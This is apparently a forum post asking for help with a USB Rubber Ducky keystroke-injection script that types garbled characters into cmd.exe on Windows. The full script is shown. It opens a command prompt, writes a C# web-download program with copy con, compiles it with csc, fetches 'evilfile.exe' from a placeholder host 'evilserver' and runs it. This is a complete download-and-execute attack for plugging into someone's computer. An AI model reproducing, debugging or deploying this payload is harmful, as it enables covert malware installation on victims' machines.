Hi,
I am having issues when using ducky and copy con, cmd.exe I can see the copy con but, but the ducky writes funny chars.
I have checked my Keyb layout, it's English US.
The idea of this script is to copy con a one-liner to .cs file, then call uppon the csc compiler in dotNet Framework to compile to .exe
Windows CMD Output:
-------------------------------------------------------------------------------------
Microsoft Windows [Version 6.1.7601]
Copyright © 2009 Microsoft Corporation. All rights reserved.
C:\Users\########>copy con %temp%\dl.cs
copy con %temp%\dl.cs/|#J######*J#######G########G##########JJ(_#JJ(G##G####
-------------------------------------------------------------------------------------
The Ducky code:
-------------------------------------------------------------------------------------
GUI r
DELAY 400
STRING cmd.exe
DELAY 400
ENTER
DELAY 400
STRING copy con %temp%\dl.cs
ENTER
STRING using System; using System.Net; using System.IO; public class Test{public static void Main (string[] args){WebClient client = new WebClient ();client.DownloadFile(args[0], args[1]);}}
ENTER
DELAY 400
CTRL z
ENTER
STRING %WinDir%\Microsoft.Net\Framework\v3.5\csc /out:"%temp%\dl.exe" "%temp%\dl.cs"
ENTER
DELAY 1000
STRING %temp%\dl.exe http://evilserver/evilfile.exe %temp%\evilfile.exe
ENTER
DELAY 1000
STRING %temp%\evilfile.exe
ENTER
-------------------------------------------------------------------------------------